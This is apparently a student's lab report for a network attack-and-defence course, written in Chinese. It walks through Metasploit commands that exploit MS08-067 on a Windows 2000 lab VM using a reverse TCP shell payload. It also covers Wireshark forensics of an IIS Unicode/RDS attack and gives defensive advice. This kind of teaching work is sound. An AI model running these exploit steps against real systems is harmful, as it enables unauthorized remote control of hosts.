20232815 2023-2024-2 《网络攻防实践》实践六报告
1.实践内容
Metasploit是目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一。它彻底改变了我们执行安全测试的方式。Metasploit之所以流行,是因为它可以执行广泛的安全测试任务,从而简化渗透测试的工作。
Windows安全机制
身份验证是用于验证对象或个人身份的过程。对对象进行身份验证时,目标是验证该对象是真实的。在对某人进行身份验证时,目标是验证该人不是冒名顶替者。
在网络环境中,身份验证是向网络应用程序或资源证明身份的行为。通常,通过使用仅用户知道的密钥(如公共密钥密码学)或共享密钥的加密操作来证明身份。身份验证交换的服务器端将签名的数据与已知的加密密钥进行比较,以验证身份验证尝试。
Windows操作系统实现了一组默认的身份验证协议,包括Kerberos、NTLM、传输层安全性/安全套接字层(TLS / SSL)和摘要,作为可扩展体系结构的一部分。此外,某些协议被组合到身份验证包中,例如“协商”和“凭据安全支持提供程序”。这些协议和软件包可对用户,计算机和服务进行身份验证。身份验证过程进而使授权用户和服务能够以安全的方式访问资源。
当用户在凭据输入对话框中输入凭据时,登录过程就会开始。用户可以通过使用本地用户帐户或域帐户登录到计算机来执行交互式登录。
渗透攻击
渗透是攻击者常用的一种攻击手段,也是一种综合的高级攻击技术,同时渗透也是安全工作者所研究的一个课题,在他们口中通常被称为”渗透测试(Penetration Test)”。无论是网络渗透(Network Penetration)还是渗透测试(Penetration Test),其实际上所指的都是同一内容,也就是研究如何一步步攻击入侵某个大型网络主机服务器群组。只不过从实施的角度上看,前者是攻击者的恶意行为,而后者则是安全工作者模拟入侵攻击测试,进而寻找最佳安全防护方案的正当手段。
2.实践过程
(1)动手实践Metasploit windows attacker
设备 | IP地址 |
---|---|
Kali(攻击机) | 192.168.200.4 |
Win2K(靶机) | 192.168.200.124 |
-
在Kali虚拟机中启动Metasploit
service postgresql start //启动PostgreSQL服务
msfdb init //初始化Metasploit PostgreSQL数据库
msfconsole //启动metasploit
-
使用命令
search ms08_067
搜寻漏洞情况,使用命令use windows/smb/ms08_067_netapi
表明将ms08_067作为目标漏洞
使用命令show payloads
查看有效的攻击载荷,使用命令set payload generic/shell_reverse_tcp
设置攻击的载荷为tcp的反向连接
使用命令show options
查看需要设置的参数,即攻击机与靶机的IP地址。使用命令set LHOST 192.168.200.4
设置攻击机Kali;set RHOST 192.168.200.124
设置靶机Win2K。
使用命令show targets
查看可设置的操作系统类型,使用命令set TARGET 0
表示自动识别。
输入命令exploit
开始渗透,输入ipconfig可以查看靶机自己的IP地址,攻击成功
(2)取证分析实践:解码一次成功的NT系统破解攻击
- 用wireshark软件打开.log文件,使用规则
ip.addr == 172.16.1.106 and http
对数据进行筛选并分析
- 跟踪一组数据的tcp流
- 发现存在unicode解析错误漏洞,因此可以确定存在unicode漏洞攻击
- 继续跟踪数据流,找到msadcs.dll,查看发现有shell语句和!ADM等关键字符,因此可以确定有RDS漏洞
- 继续查看http数据流,发现删除了ftp的文件,猜测攻击者删除了之前下载的文件
通过以上的NT分析可以了解到,如果我们的主机受到了攻击,采取的防范措施如下:
1、定期更新操作系统和软件:及时更新操作系统和软件可以修复已知的安全漏洞,降低被攻击的风险。
2、使用防火墙:防火墙可以监控网络流量,阻止未经授权的访问,从而保护主机免受攻击。
3、安装安全软件:安装杀毒软件、防火墙等安全软件可以有效防止病毒、木马等恶意软件的入侵。
4、加强密码管理:使用复杂且不易猜测的密码,并定期更换密码,可以降低被破解的风险。
5、限制用户权限:为不同级别的用户设置不同的权限,避免普通用户执行敏感操作,降低内部人员误操作导致的安全风险。
6、定期备份数据:定期备份重要数据可以在主机被攻击后快速恢复数据,减少损失。
(3)团队对抗实践:windows系统远程渗透攻击和分析
在进行这部分实验时用到的攻击机和靶机IP地址:
攻击机:192.168.200.3
靶机:192.168.200.4
1.将ms08_067作为漏洞进行攻击。
2.执行指令net user:
3.可以看到靶机里对应生成文件:
渗透成功。
3.学习中遇到的问题及解决
- 问题1:在进行渗透攻击时,刚开始选择了Windows XP,出现错误代码:
Exploit completed, but no session was created
- 问题1解决方案:要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP SP3 中文版,需将target改为34:
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
后续还是选择了Win2K作为靶机
- 问题2:在exploit时出现Exploit failed [unreachable]: Rex::HostUnreachable报错
- 问题2解决方案:两主机未在同一个网段。
4.实践总结
通过本次实验,我学习到了各种Windows操作系统安全攻防的基本原理和方法。学习利用MS08-067漏洞攻击Windows系统,可以对靶机进行远程控制。深刻理解了网络攻防的一般步骤,预防渗透攻击的一大方法便是打开防火墙,防止出现不必要的危险。